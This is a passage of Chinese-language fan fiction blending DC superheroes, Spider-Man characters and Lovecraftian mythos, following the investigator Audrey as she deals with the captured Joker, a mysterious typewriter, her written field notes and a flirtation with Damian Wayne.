“她会主动联系蝙蝠侠的。”布鲁斯说。“不过我想这个小坏蛋会说打字机应该属于密大。” “那怎么办？”克拉克呆住了。 “正义联盟已经和密大建立了合作关系。”布鲁斯很淡定。“你签过字的文件，你不记得吗？” “需要我签字的文件太多了……你拿给我的那些，我通常，哦不，偶尔不会细看。”克拉克尴尬地说。 第54章 维斯勒医生正在办公室里加班，在听到敲门声时，她头也不抬地喊了声“请…… 维斯勒医生正在办公室里加班,在听到敲门声时，她头也不抬地喊了声“请进”。 奥德莉像一只快乐的小鸟，拖着小丑冲进办公室：“晚上好,小丑说他在您的办公室安了炸弹。” 达米安跟在奥德莉身后。在回到阿卡姆宿舍后,他被要求让出拖拽小丑的权利,然后看着奥德莉试着扯了扯绳子，嘀咕一句“这个办法真的挺省力的”，下一秒就像脱缰的野马一样跑掉了。他只好放下手中的数件物品,跟着奥德莉一起奔跑。 这个场景好像似曾相识。站在维斯勒医生的办公室里，达米安想起此前去双面人病房的时候。 “别担心，我已经处理好了。”维斯勒医生将手头的文件处理完，这才看向奥德莉,然后被她手里拖着的五彩斑斓的人吓了一跳。“这是什么东西？” “这是小丑啊。”奥德莉介绍。 “他去找你的麻烦了吗？”维斯勒医生作为指导教师,肩负着保障学生安全的重大责任。看着眼前的景象，即使冷静如她,也忍不住心跳漏了一拍。 奥德莉把当晚在哥谭大学图书馆发生的事情讲了，控诉小丑威胁自己以及妄图染指密大财产的行为，最后把用脚把小丑往前推了推：“交给您了。” “我想我应该申请把他转为我的病人。”维斯勒医生对小丑的状态很感兴趣。她拿起内线电话,请保安将小丑抬回病房。 “他的研究价值很高,还能成为多重历史的播报者，虽然是以随机播放的形式。”保安离开后，奥德莉兴致勃勃地提建议。“不知道电击疗法是否能影响、以及如何影响他的播报内容。也许不同的电流幅度能点播不同的内容。” 维斯勒医生无语地瞥了奥德莉一眼：“你真是生错了年代，要是早几个世纪肯定邪名昭著。不要胡说了，快和你的朋友回去玩吧。” 伟大但毫无伦理道德的科学设想被否定,奥德莉垂头丧气地走了。达米安好笑地问：“阿卡姆这么多病人,你怎么偏偏对小丑这么痛恨？” “虽然我很讨厌可恨之人必有可怜之处这种说法，不过在和病人的谈话中,也能感觉到他们有自己在意的人和事，哪怕那种在意是自私的、狭隘的。”奥德莉说。“而小丑在意的只有混乱，他一点人性都没有了，不像其他人，心灵深处总还有几处柔软的地方。” “他令你感到恐惧。”达米安一针见血地说。 “是的。”奥德莉承认了。“看着他就像凝视一个没有一丝希望的冰冷黑洞。” “我有一个担心，”由于对小丑的能力更为了解，达米安不得不想得更多，提醒奥德莉道：“小丑不只是个坏人，他也是个少见的聪明人。如果现在的处境反而成为他的机遇，在他适应了并且学会如何获得想要的信息的话，他的能力会不会过于强大？” “你说的这种可能性很低，但我会提醒维斯勒医生的。”在小丑的事情上，奥德莉选择不去冒任何风险。“在向蝙蝠侠报告今天的事情时，你也记得提醒蝙蝠侠。” 说话间，两人已经进了宿舍房间。奥德莉关上门，对达米安露出郑重其事的表情，让达米安不自觉地也跟着认真起来。 “这台打字机，我想把它交给密大而不是蝙蝠侠。它是我发现的，我对它有先占权和支配权。而且密大的教授们更具备研究它的专业知识。” 奥德莉的法律知识储备有限，说话时非常心虚，觉得密大应该将法律课程列为调查员的必修课，以及应该为调查员提供法律援助。但此刻，她只能先试着为自己的立场辩论一下。 达米安忍不住说：“你说的法律理由完全站不住脚。先占权是取得财产权的方式之一不假，但其前提是该财产是无主之物。基于洛夫克拉夫特的自述，这台打字机的所有权可能属于阿卡姆家族；或者考虑到它的出现地点，它可能属于哥谭大学或是将打字机放在图书馆的人。总归它是有主人的。” 奥德莉无言以对，犹豫了一会儿，她说：“你说的有道理，但我仍然反对。在我们诉诸武力之前，我能先找个律师咨询吗？” 达米安看着奥德莉露出倔强又坚持的表情，决定还是不再争论，而是直接分享信息：“蜕衣俱乐部的事情之后，正义联盟已经和密大建立了紧密的合作关系。如果你把这台打字机交给密大，由于它是在哥谭被发现的，根据协议约定，正义联盟和密大可以各派两名成员一起研究，最终归属权也属于双方。” “啊？”奥德莉呆住了，又觉得这种做法很符合蝙蝠侠的行为模式。他对哥谭的控制欲很强，但做事也很公平。 “所以你不用纠结了，可以把它交给密大。”达米安见奥德莉不说话，补充一句。 “那你还说前面那么多。”奥德莉郁闷地说。“欺负法外狂徒不懂法吗？” “通常来说，罪犯都对法律有些了解，那样才方便他们钻空子。”达米安一本正经地说。 “你的意思是，我是个不合格的匪徒。”奥德莉更郁闷了。 “我的意思是，你还有进步空间。”达米安非常有语言艺术地说。 “既然蝙蝠侠没有意见，那本书我也一起交给密大吧。”奥德莉从包里取出《阿卡姆的呼唤》。“我今晚可以先把它看完。” “你不是和小丑说这本书属于我吗？”达米安无辜地说。 “我说的是‘我们’。”奥德莉赶紧声明。“再说知识是属于全人类的，不能被任何人垄断的。而且原版书留在哥谭大学图书馆也太危险了，还是放在密大图书馆吧，密大会将影印版公开的。” 达米安耸耸肩，没有再故意逗奥德莉。但奥德莉反应过来，越想越气，把书卷起来去敲达米安的胳膊。 奥德莉的力气不大，达米安没有应声倒地，因为那样太虚假了。但是达米安向后退了一步，半靠在料理台上，降低了身高差距，让两人的视线平齐。 这是一只充满心机的猫咪。他的绿眼睛带着笑意，慢慢眨一眨，表情乖巧纯善，看得奥德莉有点不忍心再下手。猫咪能有什么坏心眼呢，她毫无原则地想。 “你是故意的！惹我……你算是惹到棉花团子了。”奥德莉的尖牙还没摘，对达米安凶巴巴地展示一下，算是威胁。 “我错了，老板，请不要开除我。”达米安记起自己的角色设定，活灵活现地扮演一名很重视工作而怕被开除的大学生。 “看你的表现再决定。”黑心老板打算剥削员工。 “我一定努力工作，老板说什么我都听。”达米安恳求道。 “真的吗？那我问你一个问题，你可以不回答，但如果回答的话，我想听实话，不要粉饰过的善意谎言。”奥德莉说。 “我保证。”达米安等着奥德莉继续。 “在哥谭一直有许多研习无形之术的人，蜕衣俱乐部更是成立了百年之久。但是在蝙蝠侠出现的这么多年里，他从未想过要和密大合作，因为在哥谭的神秘事件不算太多。” 奥德莉顿了一下：“也许是我的自我意识过剩，但自从我来*哥谭之后，发生了不少事情，好像那些隐藏的密教中人都开始冒头了。蝙蝠侠、甚至是正义联盟在这么短的时间内就和密大建立了联系，说明他们之前也完全可以做到，只是觉得没有必要。而现在他们觉得这个问题必须被重视了。” 达米安听明白了：“你觉得哥谭神秘侧的怪事增加，是你的错？” “你觉得呢？”奥德莉略微转头，避开达米安的目光。 “我认为这完全是因果关系颠倒。”达米安毫不犹豫地说。“我听蝙蝠侠讲过一件事。在他刚刚和戈登局长认识的时候，那时他还是戈登警员，在几次联手合作之后，面对不断冒头的坏人，戈登警员倦怠又无奈。他问蝙蝠侠：‘在你出现之后，我们努力做了很多事情，但反派似乎越来越多，对此你有什么头绪吗？’” “那蝙蝠侠怎么回答的？他会因为戈登警员的话而难过吗？”奥德莉忍不住去想象那个初出茅庐的蝙蝠侠，在听到并肩作战的人说出这个问题之后，会不会自我怀疑，进而心灰意冷。 “蝙蝠侠说：‘警察的出现是因为犯罪存在，而非警察导致犯罪。’”达米安说。“那天他们谈了很多，戈登警员原本也只是一时消沉，他很快便坚定了信念，成为蝙蝠侠在警局最忠诚的朋友。” “你同意蝙蝠侠的看法吗？”奥德莉问。 “当然。罪恶早于法律存在，也早于执法者存在。”达米安冷静地说。“如果没有你，那些坏人的阴谋可能会得逞，哥谭会因此而变得更糟糕。在你没意识到的时候，你已经救了很多人了，你不知道他们的身份，他们也不知道你的存在。你会因此感觉沮丧吗？” “当然不会。我做事并不是为了谋求别人的感谢。”奥德莉摇摇头。“我只是希望不要给别人带去麻烦。” “反派不是你的提线木偶，他们有自己的行动逻辑和完全独立于你的动机。在他们策划一件事情的时候，甚至可能没有把你纳入考量之内。” “所以是我在给自己强行加戏吗？”奥德莉有点不好意思。 “我只是说，你在那些人的阴谋诡计里不是主角。”达米安忽然抬起手，轻轻捧住奥德莉的脸，与她对视。“但你在自己的故事里，以及在意你的人的故事里，你是最重要的。” 奥德莉僵住了，她感觉脸颊在着火。为什么达米安还不把手移开？他会不会被烫伤？ 第55章 原来布莱克被我捧着脸的时候，是这个感觉吗？奥德莉的思绪像一个混乱的…… 原来布莱克被我捧着脸的时候,是这个感觉吗？奥德莉的思绪像一个混乱的毛线球，线头四处乱蹦，怎么也解不开。 达米安的脸为什么离我这么近？他想干什么？ 他的眼睛真绿,像绿宝石一样。 他好像一直没眨眼,他为什么不眨眼？不行,我忍不住了，我要眨眼了。 他为什么还不松手？他是不是想突然用力把我的脸挤变形，然后拍丑照以后笑话我？ 他的眼睛真好看。 他是不是想揉我的脸？那太有损本调查员的威严了。我得反抗。 他真好看。 …… 达米安看着仿佛被石化的奥德莉,轻轻笑了一下，几乎没有发出声音，仿佛怕惊动奥德莉。他收回手，站直身体。 虽然不知道她的具体念头,但是从她的表情变换来看,达米安觉得自己能猜到一些。 “老板，我要去夜巡了。明晚来找你？” “啊……好的。”奥德莉听见自己自动回复。 达米安离开了。听到阳台门关上的声音,奥德莉这才反应过来。她召唤出布莱克，捧住它圆圆的脸蛋，问：“你现在有什么感觉？” 布莱克的脸上露出傻乎乎的表情,刚被召唤就被按在原地捧住脸,它有点懵：“我……我没什么感觉啊。” 奥德莉又轻轻揉揉布莱克的圆脸，再一次发问：“这样呢？” “感觉挺舒服的。”布莱克说，然后要求：“再揉两下。” “那你觉得我在做什么？”奥德莉照做，然后再次提问。 布莱克感觉自己的小脑瓜不够用了：“你在召唤我啊。” “我是说现在，这一秒,我在做什么。” “你在和我玩。”布莱克茫然地说。“发生了什么吗？” 它从奥德莉的手掌中挣脱出去,踮起脚，用前爪去碰奥德莉的额头,想看看她是不是发烧傻掉了：“你的脸怎么这么红？” “达米安，他……他把我当成你对待。”奥德莉用双手捂住脸，支支吾吾地，说的话前言不搭后语。 “他怎么会知道我？”布莱克困惑又惊讶。 “我是说，他把我当成猫咪对待。”奥德莉解释。 见布莱克还是没理解，奥德莉连着眼睛一起捂住了：“没什么。我要看书了，你要在旁边陪着我吗？” “好啊。”如以往一样，布莱克不会拒绝这个要求。“但你是要捂着眼睛看书吗？” 奥德莉马上移开手，捧起书做阅读状。布莱克跳到桌子上，看到打字机后惊喜地扑上去，大声宣布：“我要趴在这里。” “小心不要压到按键。”奥德莉叮嘱一句，将打字机的来历和奇异之处告诉布莱克。 布莱克对着打字机惊叹了一会儿，然后注意力又被奥德莉的尖牙吸引了：“你和达米安扮演吸血鬼，怎么不带上我呢？” 一边说着，布莱克一边露出自己的猫咪尖牙：“你看，我天生就有尖牙。下次一定要喊上我！” 奥德莉摘下自己的尖牙，和布莱克的隔空比了比，忍不住笑了：“真的很像。那你就是一只吸血喵（Vampurr）。” 英文中吸血鬼被称为Vampire，猫咪的呼噜声是purr，奥德莉认为自己的这个名字起得非常有水平，俏皮可爱。 “听着一点都不酷。”布莱克抗议，认为这个称呼配不上自己黑暗的气质。“叫我“德古猫大人（LordDracat）”。” 德古拉（Dracula）是文学史上一位著名的贵族吸血鬼，布莱克认为把他的名字与猫（cat）结合起来，非常匹配它的身价。 “好的，德古猫大人。”奥德莉起身行了一个不标准的屈膝礼，然后继续阅读《阿卡姆的呼唤》。 在图书馆的时候，由于事态紧急，她只看了洛夫克拉夫特的部分，书里还记录了几位调查员的经历，都是在阿卡姆疯人院成立后发生的。 “这本书里面的内容都是第一手资料，可能阿卡姆家族的人都不知道这么多内幕消息。”读完书，奥德莉对前辈调查员们的勇气和智慧敬佩不已。有时候他们只是轻描淡写地说一件事，但字里行间仍显露出当时的凶险。 尤其是当时的调查员不仅要和外神信徒、密教中人以及当地民众斗智斗勇，还得小心不要被防剿局盯上。只是想一想那种倍受束缚的局面，奥德莉就觉得要窒息了。 “我读完了。”意犹未尽地合上书，奥德莉拿起手机开始联系阿米蒂奇教授。她在邮件里简单叙述了情况，询问教授是否需要她传送到图书馆把东西送过去。 工作狂阿米蒂奇教授在收到奥德莉的邮件后，又一次火速回复，说他正在办公室，她可以随时去。 “这本书我听说过。据说史密斯想印一本扉页特殊的，也就是这本，作为自己的珍藏，然后再印刷普通版本供给书店。但这一本莫名失踪了，他觉得书的内容可能有诡异之处，因此放弃了向公众出售的念头。”阿米蒂奇教授的知识储备十分渊博，看到书名便说出了它的相关信息。 “我想学这个扉页的制造技术，您看我应该选修哪门课程？”奥德莉寻求教授的意见。 “这个应该是进阶收容课程里的内容了。你需要在下学期先选基础收容课程。” “我明白了。谢谢教授。” “你能成功举行仪式，看来你的灵感很高。另外，小丑的身体因为承载了这样诡异的灵魂而被潜移默化地影响了，变成一个坚固的容器，否则收容也不会如此顺利。”阿米蒂奇教授又看看打字机。 “小丑会不会因此而进化出新的能力？”奥德莉趁机询问专家看法。 “就算是又如何？那时我们也会有新的应对之法。”阿米蒂奇教授一点不担心。 “好吧。”既然见多识广的教授这么淡定，奥德莉也就不那么担心了。超级反派会进化，超级英雄也不会停止进步啊。 “如果你愿意的话，可以把这次的经历写下来，加入未来再版的《阿卡姆的呼唤》里。”奥德莉离开之前，阿米蒂奇教授提议道。 “我也有这个资格吗？”奥德莉不敢置信地惊呼。 “当然，这样也是让这段历史更加完整。”阿米蒂奇教授说。“你不需要把所有细节都写进去，毕竟可能涉及到你自己和他人的隐私。只记录你想和外界分享的部分就可以了。” “多亏洛夫克拉夫特在百年前已经布置好的准备，他的神机妙算帮了我大忙。”奥德莉说。“我的故事正好和他的构成闭环，证明他的准备并不是妄想发作，而是很有意义的。” “他确实是一位跨时代的天才。”阿米蒂奇教授一贯认为天才和疯子只有一线之隔，而在大众的眼里两者很容易被混为一谈。“写好之后可以发给我，我帮你改。” 面对教授的好意，奥德莉急忙道谢，然后高兴地回宿舍去写作了。 “你不困吗？我有点困了。”布莱克张大嘴打了个哈欠。“今天是周一，你明天不实习啦？” “才十一点。”奥德莉双眼炯炯有神地坐在笔记本电脑前，“我还能再写半小时。” “你写了多少字了？”布莱克懒得起身去看屏幕，躺着问道。 “呃……一百字。”奥德莉硬着头皮说。其实她才写了五十字。 “这么慢？可我听你一直在打字呀！”布莱克大惊，想去看屏幕，奥德莉急忙合上电脑，生怕它发现自己在吹牛。 “没想到写起来这么难。”奥德莉的确一直在敲击键盘，但删删改改，最后的成果几乎等于零。“我得再构思一下。” “你这个是纪实文学，又不需要虚构什么内容。你需要构思什么？”布莱克困惑地说。 “那也不能写得像份说明书呀。我在读别人的书时，看他们总是写得生动又简洁，感觉很容易，但自己写起来就不是这么回事了。”奥德莉忧伤地伸个懒腰。 “听起来有点复杂。”布莱克用猫爪拍了拍奥德莉的肩膀，鼓励道：“你先休息，明天再继续，一定能写出来满意的作品。” “你愿意做我的第一位读者，帮我找出文章中的错别字或是架构和逻辑的漏洞吗？”奥德莉忽然发现布莱克会很有用处。 “当然。”布莱克骄傲地抬起头，同意做免费劳动力。“我可是一只有文化的猫。” 转念一想，布莱克又觉得自己还是可以要一点报酬的：“你能不能把我写在致谢部分里？”它说完又觉得有点不好意思，毕竟它又没有亲自参与，只是帮着校对。 “当然可以。”奥德莉看着布莱克不自觉趴下又立起、立起又趴下的毛茸茸耳朵，立刻答应。 “那你会致谢达米安吗？”布莱克图穷匕见地问。 “这个要看他的意见了，也许他更想低调一些。”奥德莉说。 布莱克赶紧说：“应该低调。暗箭难防，就算他是罗宾也很危险。” “但你就不一样了，对吧？”奥德莉明知故问地接话。 “嘿嘿。”布莱克甩甩尾巴。 第56章 周二下班后，奥德莉在食堂快速地吃了晚饭，然后回宿舍继续她的创作大业…… 周二下班后,奥德莉在食堂快速地吃了晚饭，然后回宿舍继续她的创作大业，花了三个小时终于写完了初稿,达米安在这时轻巧地落在阳台上。 望着玻璃上贴着的手写字条,达米安的开门动作顿住了。 【邪恶黑煤球禁止入内。 ——具体解释权归奥德莉所有】 达米安揭下字条夹在指间,只将头探入屋内，身体还站在外面：“这是针对我吗？” “你是邪恶黑煤球吗？”奥德莉故意问。 “我不确定。我没有解释权啊。”达米安扁扁嘴。“你为什么要加上后面这一句？一点也不公平。” 其实这一句是布莱克要求的。它提出一个发人深省的问题：“你到底是针对达米安还是针对我？” “你为什么主动对号入座？”奥德莉哭笑不得。 布莱克非常争强好胜地说：“我不想输给达米安，无论是好事还是坏事。” “竞争意识放在好事上就行了。”奥德莉扶额。“那你想怎么样？” 最后,根据布莱克绞尽脑汁提出的建议，奥德莉加了一句话，以满足布莱克自认为比达米安邪恶的意愿，以及给予布莱克进入室内的许可。 达米安对于这句话则有不同的理解。他自认为并不邪恶,这句话则允许奥德莉单方面认定他邪恶。 面对这种不公平条款,深觉冤枉的达米安抗议道：“老板，我怎么才能被认定为不邪恶？” “看你的表现,看我的心情。”奥德莉很不讲道理地说。 “我会努力让你的心情好起来的。”达米安信心十足。 “你为什么总是不走门？”奥德莉忍不住问了这个她好奇已久的问题。“我在门上没有贴。” “习惯了。”达米安想了想，“走窗户总是更快。” 奥德莉看着达米安。他一直听话地没有进来，只是从门缝里伸出头。明明高大得都要把门缝填满了,但看起来特别纯良无害,甚至有点委屈巴巴。 就好像一只小猫围在人的脚边，又想耍赖又不想让人不高兴，小心翼翼地咬一下裤脚，却不敢太用力。 “你的表现很好，是个善良的黑煤球。”明知道达米安是在装可怜,但奥德莉非常吃这一套,心软地把门完全打开。 达米安美滋滋地被迎进屋，拿出一个巨大物件,真不知道刚才他是怎么把它藏在身后的：“父亲让我把这个送给你。” “布鲁斯？这是他提到的拍卖会上的打字机吗？”奥德莉看着眼前这台华丽的打字机，被有钱人震撼到了。键盘上镶嵌着珠贝，侧面有珠宝装饰，奢华又充满艺术设计，丝毫没有暴发户般的俗气。 “正是那台。他在得知你要把打字机交给学校之后，便决定把这台送给你。他说在花钱上不能输给祖父，否则有损韦恩这个姓氏的名声。” 奥德莉被珠光宝气闪得神智不清，但还是努力拒绝：“这太贵重了，我不能收。” “不贵重，”达米安很随意地说。“他买完就让管家收起来了，要不是这次事件，他早就把它忘了。” 奥德莉叹息：“那好吧，请帮我谢谢布鲁斯。” “你在写论文吗？”达米安瞥到奥德莉的屏幕，随口问道。 “在写调查笔记。”奥德莉解释，又补充道：“我没有提布鲁斯和克拉克，也只是用代号称呼了你。” “我能看看吗？”达米安问。 “可以呀。”奥德莉答应了。一旁的布莱克气得恶虎咆哮，抗议达米安这种不正当竞争行为。 “他只是看看，校对还是你。”奥德莉安抚布莱克道，后者正用屁股对着达米安表示不满。“而且你是第一位读者，我写的时候你一直在看。” 达米安很快读完了，困惑道：“你称呼我为D，是你的同伴，致谢里又感谢D帮忙校对和鼓励你完成这篇笔记。你需要我来校对吗？” 致谢里的D是Dracat，奥德莉忽然意识到它的缩写字母和达米安的名字一样都是D。 “笔误，致谢部分是B。”奥德莉立刻纠正，把对布莱克的称呼修改为名字的缩写。 “B是谁？”达米安问。 “一个朋友。” 达米安沉默了一会儿，然后问：“会是我想去偷对方猫粮的那种朋友吗？” 布莱克原本已经被哄好，此时又炸毛了，罔顾自己根本不吃猫粮的事实：“邪恶，太邪恶了！驱逐他！” “我认为不是。”奥德莉说，按住要冲上去咬达米安耳朵的布莱克。布莱克被按住身体，但仍徒劳地蹬着四条短腿，仿佛想用空气波攻击达米安。 两人又沉默了一会儿，达米安说起正事：“蝙蝠侠听了我的报告之后，让我提醒你，不要看到什么仪式都立刻举行，先考虑一下自己的成功率以及是陷阱的可能性。” “陷阱？”奥德莉确实没完全没想到这一点。 “那本来历不明的书，虽然事实证明它是可靠的，但它也可能是被别人特意放在那里吸引你的注意力的。还记得双面人被人故意用书告知了外神的事迹，然后被影响吗？” “你说的对。虽然作者的名字听起来是很可靠的调查员，但那可能是别人伪造的。”复盘此次事件，奥德莉也觉得自己慌乱之下有点冲动，抓住一条线索就立刻去做，而没有思考可能的后果。 “我一直觉得你的危机意识有待提高。”达米安实事求是地说。“你好像全靠直觉在行动。” “你是在说我不怎么用脑子吗？”奥德莉立刻从达米安的委婉表达中听出了真正内容。“因为直觉就是很重要呀。有时候理智下降的时候，我们甚至不知道自己失去了理智，此时的任何分析都是徒劳的，能依仗的就只有自己的直觉。思考后的结果可能是被引导的，而直觉是求生本能和潜意识的判断。” “这个说法倒是和战斗本能有点像。”达米安若有所思。“在最紧张激烈的战斗中，虽然需要用脑子分析对方的战斗风格以及预判对方的出招，但有时候也是凭借本能做出下一步。” “不过我明白你说的意思。我不会过分依赖直觉的。”奥德莉说。“而且这次的事情，我越想越觉得有许多难解之处。但是小丑已经神智不清，没办法回答我的问题了。” “即使他的状态如常，我也不敢相信他说的任何事情。”达米安说。 “而且他也未必知道所有答案。”奥德莉思索着。“比如为什么他在预言里如此重要？仅仅因为他的身体和一般人不一样吗？难道外神希望用他的身体来降临地球吗？” “这也许是一个由百年之后的调查员去回答的问题。”达米安对于谜题的答案并不执着。“小丑的寿命会比我们的长得多，甚至可能没有尽头。” “我希望也能给后人留下一些帮助和提示，帮助他们对付这个可恶的对手。”奥德莉斗志昂扬地说。“如果以后你发现了答案，记得告诉我。” “好的。你有什么具体方案吗？” “我也想把这台打字机改造成未来的某个调查员能用上的道具。不过我要附上详细的说明，免得还要猜来猜去的。” “你是指我们发现打字机时里面那张纸上的内容吗？”达米安问。 “对呀，纸上的描述和我们很相似，所以我大胆猜测打字机能帮助我们脱困。但其实我心里很没把握。” “不过你的仪式成功率一直很高。”达米安回忆着。“是不是因为你很有天分？” “可能因为我的灵感很高吧。”奥德莉用上了“我有一个惊天大秘密”的语气，故意压低声音营造氛围：“据说我可能有外神血统。” “啊？哪一位外神？” “我不知道。我是道听途说的。”被问到细节，奥德莉立刻一问三不知了。“但如果是真的，那也就解释了我为什么如此天赋异禀。” 面对骄傲自大的奥德莉，达米安逗她：“那你战斗在打击外神的第一线，算不算做出了背叛祖宗的决定？” “外神之间的关系通常很糟糕，说是敌对都算轻描淡写了。被我打击的外神一定不是我的祖先，我是在帮我的祖先除去对手。”奥德莉大言不惭地说。 “你可要记好自己对付过哪些外神，以免某一天回顾往昔，发现所有的外神都被你打击过，那就又找不到祖先是谁了。”达米安假装出主意。 “我是调查员，我忠诚的对象只有全人类。”奥德莉完全是人类至上主义，信念非常坚定。 “我感觉这个口号好耳熟。”达米安想了想。“你知道莱克斯卢瑟吗？” “我和他可不一样。他是主动去攻击非人类，我是正当防卫。”奥德莉抗议道。“而且我的头发浓密得很，不要诅咒我的秀发啊。” “他的秃头据说是被辐射造成的。”达米安说出这个不为人知的消息。“所以你应该是安全的。” “是吗？我还以为他是被超人用外星科技弄秃的。”奥德莉说。 “你为什么会这么想？”达米安震惊。 “因为他连假发都不戴。一定是超人的技术让他一戴假发就头疼，这是我看过的一篇分析帖子里写的，我觉得很有道理。”奥德莉给出信息来源。 达米安无言以对。 第57章 “蝙蝠侠还有没有说别的什么？”奥德莉等了又等，最后失去耐心，直接问…… “蝙蝠侠还有没有说别的什么？”奥德莉等了又等,最后失去耐心，直接问道。 “没有别的了。”达米安想了想，确认说。 “他没有夸我很厉害吗？”奥德莉撅嘴。“一定是你报告的时候太平铺直叙了,没有体现出我的智慧过人。” 你是幼儿园小朋友吗？还需要老师时不时表扬？达米安想说又没敢说,担心奥德莉恼羞成怒再次把自己判定为邪恶黑煤球。 不过奥德莉自我安慰的本领一向一流,她马上调整好心态：“等我的笔记出版，你帮我送给蝙蝠侠一份，他看了就知道细节以及我是多么的智勇双全了。” 蝙蝠侠已经知道全部细节了,超人也知道。达米安无语凝噎，心里开始谴责蝙蝠侠：维多利亚时期的蝙蝠侠都知道要对奥德莉先夸再教，你怎么看不出来她的幼稚心态和粉丝心思？你可是年纪更大的那位蝙蝠侠啊。 “我觉得你非常厉害。”达米安决定亲身上阵，开启夸夸模式,奥德莉听了几分钟之后不好意思了,佯装恼火地瞪达米安一眼，说：“禁止吹捧老板。” “打工好难。”达米安趴在桌子上不肯起来了。“我要罢工。” “真的吗？我给你一次重新调整语言的机会。” “我爱工作。”达米安坐直身体,庄严宣布：“我每天都想工作，老板开心我就开心。” 达米安的话里有话实在太明显，奥德莉听完呆了一呆,嘴里念叨着“你该去夜巡了”,然后无情地把达米安从桌子边赶走。 “蝙蝠侠给你多少钱做罗宾的监工？我出双倍！我是个韦恩，我也有钞能力。”达米安悲愤地说，从阳台离开了，还没忘了把之前取下的纸条带走，对着奥德莉挥了挥。 “带走也没用,我还可以再写一张。”奥德莉鼓着脸说。 心机的布莱克立刻奉上纸笔,被奥德莉一把按住揉了肚子。 奥德莉把初稿发到四人群，原以为天天加班科研的三人不会马上回复,但哈利竟然在十分钟之后便发信息私聊：“你的工作这么危险吗？D是谁？” “你怎么在摸鱼？”奥德莉惊讶。“彼得和格温都在加班，我看到他们发的中餐外卖了。我也好想吃那家的左宗棠鸡。” “那你现在过来，我给你点。”哈利说。上次被绑架时，奥德莉将他救出并传送回纽约，自此他知道了奥德莉的传送能力。 “我太忙了。”奥德莉怎么可能为了美食而自投罗网？哈利显然是不想让她逃避问题，要当面询问。 “那我去？”哈利发了个微笑的表情。“不过可能要半夜到。” “我马上来。我还要吃北京牛肉和炒面。”奥德莉屈服了，索性开始点菜。 哈利不是那种会说“大半夜了少吃点”的人，何况他现在经常熬夜，奥德莉吃不完的他正好做夜宵。 “我还点了你喜欢的芙蓉炒蛋。”奥德莉磨磨蹭蹭地到达奥斯本大楼时，哈利正在将外卖盒从纸袋中拿出来，在桌子上一一摆好。 “这么晚了，吃不下那么多。”奥德莉口嫌体正直地说，吃得不亦乐乎。 哈利吃得很慢也很少，奥德莉担心地看他一眼，他就注意到了，主动解释：“不是身体不舒服，只是我晚上吃过饭了，现在还不饿。” 奥德莉不好意思地承认：“其实我也吃过晚饭了。不过看到这么热气腾腾的饭，又饿了。” “我们天天点好吃的外卖，你想的话可以随时加入。”哈利说。“还是你太忙了，没时间回纽约？” “你们的研究一定有进展了。”奥德莉根据哈利的状态判断。“不然你没空对我阴阳怪气。” “确实有进展了，然后发现你明明可以经常回来，却一直不见踪影。要不是你在群里仍然活跃，我早就去哥谭找你了。” “我是怕打扰你们工作嘛。”奥德莉叫屈。“你们研究的我都听不懂，真的是没有一个字能听懂。每次你们三个讨论科研问题时，我都觉得自己是个绝望的文盲。” 哈利被奥德莉故意做出的呐喊状表情逗笑了：“也不怪你，我们的生物水平都到博士水平了，你还在高中阶段。” “喂，你再这样炫耀，我就把这些全吃光，一口也不给你留下。”奥德莉郁闷地努力吃饭。 “你的冒险活动，我看了似懂非懂，不知道你省略掉了哪些部分。”哈利又把话题拉回起点。“我只想问，这次算是普通危险还是特别危险？” “普通危险吧。”奥德莉倒不是故意宽慰哈利，她真的觉得和别人的调查经历比起来，自己的经历只是小巫见大巫。“而且我很厉害的，我有的是力气和手段。” 哈利没再多说什么，只是叮嘱道：“如果需要买什么防身的东西，不要吝惜钱。我给过你副卡的，记得吗？虽然你从来没刷过。” 在知道奥德莉申请密大的第二天，哈利把一张副卡塞给奥德莉，说：“我不希望你为了钱去做任何不想做的事情。” 奥德莉被哈利这种富豪行为震惊了，立刻拒收：“我已经说了，信托只是我申请密大的原因之一，我对这所学校也很满意。” “那你就拿它做书签。”哈利很坚持。“总之你带上它，我才能安心。” 奥德莉推拒不成，只好收下卡。 “我的花销没那么大，而且我现在能挣钱的，已经卖出去几幅画了。”奥德莉见哈利旧事重提，立刻说明自己的经济状况良好。“不过如果真的需要，我会用的，我保证。” 哈利也不能要求更多了。他点点头，又问：“D是达米安吗？” “你为什么会这么想？”奥德莉支支吾吾。 “他先是天天用小号给你点赞留言，后来又用大号和你互动。你生活中出现的关系密切的新朋友就只有他一个。” “被你这样一说，听起来怎么这么奇怪，我在哥谭也认识了其他的好朋友啊。”奥德莉嘴硬。 “是吗？列举三个互动到这个密切程度的。”哈利说。 “我吃饱了。我要回去睡觉了，明天还要上班。”奥德莉决定使用工作日这个万能理由。 “我不是在干涉你交友。”哈利哭笑不得，“我只是想先于格温知道第一手信息。你不会已经和她分享了吧？” 你们俩有时候真的像两个争着做孩子最爱的父母的爸爸妈妈。吃哈利的嘴短，奥德莉忍住这句吐槽，说：“格温可能还没来得及看我发的笔记。以及，无可奉告，这句话对你们两个都适用。” “你对我有秘密了。”哈利夸张地捂住胸口。“我有点呼吸不畅，心痛……” “我可以大喊‘超人’，据说他对任何地方的求救都会尽力应答，比救护车快。”奥德莉一点不慌。“有他在真是人类的幸运。” 哈利悻悻地放下手：“这个幸运还是留给大都会人民吧。” “那我喊蜘蛛侠？” “他比你还笨。”哈利一副头疼的样子。“你敢相信，他还在搞暗恋那一套吗？也就是格温有耐心，对他纵容。” 奥德莉心虚了一瞬，然后又理直气壮了。彼得和格温心照不宣但就是不戳破那层窗户纸，因此被哈利吐槽，这关她奥德莉什么事？ “批评了他，就不许批评我了。”奥德莉赶紧说。 “你有什么应该批评的地方吗？”哈利眯起眼睛。 “肯定是没有的。”奥德莉一脸正气。“高中看的美国队长录的那些教育宣传片，我都好好地遵守了。” 哈利白了奥德莉一眼：“我要开会了，你回去吧。” “这么晚还开会？” “和其它时区的分公司。”哈利已经习以为常。他掌权的过程太仓促，为了确保公司一切运转如常，他不得不付出更多的心力。 “我去找格温和彼得玩一会儿再走。”奥德莉拿起哈利的门禁卡：“一会儿还你。” 哈利挥挥手：“他们在二十三楼的实验室。” 格温听说奥德莉的传送能力后，羡慕不已，然后也控诉她不常回纽约看看。之后格温快速看了笔记，和哈利问了同一个问题：“D是谁？” “是我在调查员工作中结识的重要朋友。”奥德莉说。 “你的实习经常有这么危险的活动吗？”格温有点担心。 “这次只是个意外，与实习并不相关。”奥德莉说。“倒更算是哥谭特色事件。” “你和彼得一样，紧急关头总是特别胆大，越急迫的场景越敢下决断。”格温吐槽。“*他辩解说自己的直觉很灵，你的理由是什么？” 